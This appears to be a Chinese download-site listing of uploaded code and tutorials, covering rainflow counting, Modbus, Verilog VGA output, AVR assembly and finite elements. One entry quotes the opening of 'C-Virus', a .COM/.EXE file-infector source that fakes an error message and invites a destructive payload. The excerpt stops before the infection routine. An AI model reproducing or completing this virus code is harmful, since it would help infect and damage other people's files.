R软件代码转换为matlab 雨流计数算法(4点方法),符合C99 “雨流计数”包括四个主要步骤: 磁滞滤波 峰谷滤波 离散化 四点计数法: * D / \ Closed, if min(B,C) >= min(A,D) && max(B,C) <= max(A,D) B *<--/ Slope B-C is counted and removed from residue / \ / / * C \ / * A 这些步骤在以下标准中已完全记录在案: ASTM E1049“疲劳分析中循环计数的标准实践” [1] 此实现使用了[3,4]中提到的4点算法和[2]中提出的3点HCM方法。 要考虑残留物,您可以实现自定义方法或使用一些预定义的功能。 该包装的特点 模块化体系结构分为两层: a)模块rainflow.c (带有rainflow.h )具有所有必要的功能,用于雨流量计数和直方图提取。 您可以在编译时选择多个可选功能: RFC_MINIMAL :仅将核心功能用于RFC_MINIMAL数(例如,移植到µControllers)。 RFC_TP_SUPPORT :转折点存储。 RFC_H
2022-11-11 20:05:50 122KB 系统开源
1
modbus完整协议,包括RTU模式与ASCII模式,使用C语言编写,易于移植
1
在vga显示器上显示彩条,verilog语言编写
2022-11-02 15:45:31 10.44MB 源码软件 fpga开发
1
自己编写的  可能代码有点冗余  欢迎大家提意见
1
用汇编语言编写AVR单片机程序入门教程,适用于有一定基础的朋友参考,有助于对C和AVR 的深入理解。
2022-10-26 18:44:25 334KB 单片机 avr avr汇编语言 Asm
1
这是我用C语言编写的空间后方交会代码,希望大家喜欢哦。
2022-10-26 15:49:51 4KB 后方交会
1
/* C-Virus: A generic .COM and .EXE infector Written by Nowhere Man Project started and completed on 6-24-91 Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too) */ #pragma inline // Compile to .ASM #include #include #include #include #include void hostile_activity(void); int infected(char *); void spread(char *, char *); void small_print(char *); char *victim(void); #define DEBUG #define ONE_KAY 1024 // 1k #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum #define SIGNATURE "NMAN" // Sign of infection int main(void) { /* The main program */ spread(_argv[0], victim()); // Perform infection small_print("Out of memory\r\n"); // Print phony error return(1); // Fake failure... } void hostile_activity(void) { /* Put whatever you feel like doing here...I chose to make this part harmless, but if you're feeling nasty, go ahead and have some fun... */ small_print("\a\a\aAll files infected. Mission complete.\r\n"); exit(2); } int infected(char *fname) { /* This function determines if fname is infected */ FILE *fp; // File handle char sig[5]; // Virus signature fp = fopen(fname, "rb"); fseek(fp, 28L, SEEK_SET); fread(sig, sizeof(sig) - 1, 1, fp); #ifdef DEBUG printf("Signature for %s: %s\n", fname, sig); #endif fclose(fp); return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0); } void small_print(char *string) { /* This function is a small, quick print routine */ asm { push si mov si,string mov ah,0xE }
2022-10-26 10:39:40 2KB 源码
1
FORTRAN语言编写的有限元中的DKQ单元,该单元是四节点四边形壳体单元的重要组成部分
2022-10-24 17:26:59 3KB dkq fortran
1
背景音乐 来源网易云音乐《目及皆是你(心跳版)》——小蓝背心, 使用exe4j Wizard打包exe, 使用inno setup将exe打包为安装程序
2022-10-15 14:00:59 73.4MB 表白 窗口 原创
1
本人初学c,在Linux环境下编写的,可能会有一些小的问题,请见谅。
2022-10-14 10:41:01 7.78MB c语言 web linux
1